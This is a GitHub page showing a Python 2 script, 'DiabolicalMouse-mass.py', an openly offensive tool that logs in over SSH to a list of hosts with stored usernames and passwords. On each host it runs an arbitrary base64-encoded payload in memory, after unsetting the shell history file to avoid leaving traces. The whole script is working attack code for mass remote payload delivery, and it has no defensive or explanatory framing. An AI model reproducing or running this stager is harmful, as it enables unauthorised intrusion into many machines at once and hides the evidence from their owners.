-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathDiabolicalMouse-mass.py
82 lines (73 loc) · 2.74 KB
/
DiabolicalMouse-mass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/python2
# Converts a python script into a python oneliner
# base64 encoded and executes on the remote host
# over SSH using Paramiko without writing anything
# to the disc.
import paramiko
import sys
clear = "\x1b[0m"
red = "\x1b[1;31m"
green = "\x1b[1;32m"
def banner():
print """%s
____ .-.
.-"` `",( __\_
.-==:;-._ .' .-. `'.
.' `"-:'-/ ( \} -=a .)
/ \/ \,== `- __..-'`
'-' | | | .'\ `;
\ _/---'\ ( `"`
/.`._ ) \ `;
\`-/.' `"`
`"\`-.
`"`
Diabolical Mouse - In Memory Python Stager over SSH
%s""" %(green, clear)
def usage(progname):
print "%susage: %s <targetlist> <payload>%s" %(red, progname, clear)
print "%sPayload should be a self contained python script of some kind%s" %(red, clear)
sys.exit(0)
def genPayload(stager):
print "%s{*} Generating Payload: %s %s" %(green, stager, clear)
f = open(stager, "r")
payload = f.read()
payload = payload.encode('base64')
payload = payload.strip()
payload = payload.replace("\n", "")
payload = """unset HISTFILE;python -c "exec('%s'.decode('base64'))";""" %(payload)
# print payload
return payload
def execCmd(host, username, password, payload):
print "%s{*} Target host: %s...%s" %(green, host, clear)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print "%s{*} Attempting to log in...%s" %(green, clear)
ssh.connect(host, username=username, password=password)
except paramiko.AuthenticationException:
print "%s{-} Login Failure!%s" %(red, clear)
sys.exit(0)
print "%s{*} Login Successful!%s" %(green, clear)
try:
print "%s{*} Attempting to deploy payload!%s" %(green, clear)
stdin, stdout, stderr = ssh.exec_command(payload)
print stdout.read()
except Exception:
print "%s{-} Payload Deployment Failure!%s" %(red, clear)
sys.exit(0)
print "%s{*} Payload Delivered!%s" %(green, clear)
def hacktheplanet(targetlist, payload):
print "%s{$$} H4XX0R1NG TH3 PL4N3T!!!!!%s" %(green, clear)
list = open(targetlist, "r").readlines()
for target in list:
target = target.split(":")
password = target[2]
execCmd(host=target[0], username=target[1], password=password.strip(), payload=genPayload(payload))
print "%s{$$$} Attacks Complete!%s" %(green, clear)
def main(args):
banner()
if len(sys.argv) != 3:
usage(sys.argv[0])
hacktheplanet(targetlist=sys.argv[1], payload=sys.argv[2])
if __name__ == "__main__":
main(sys.argv)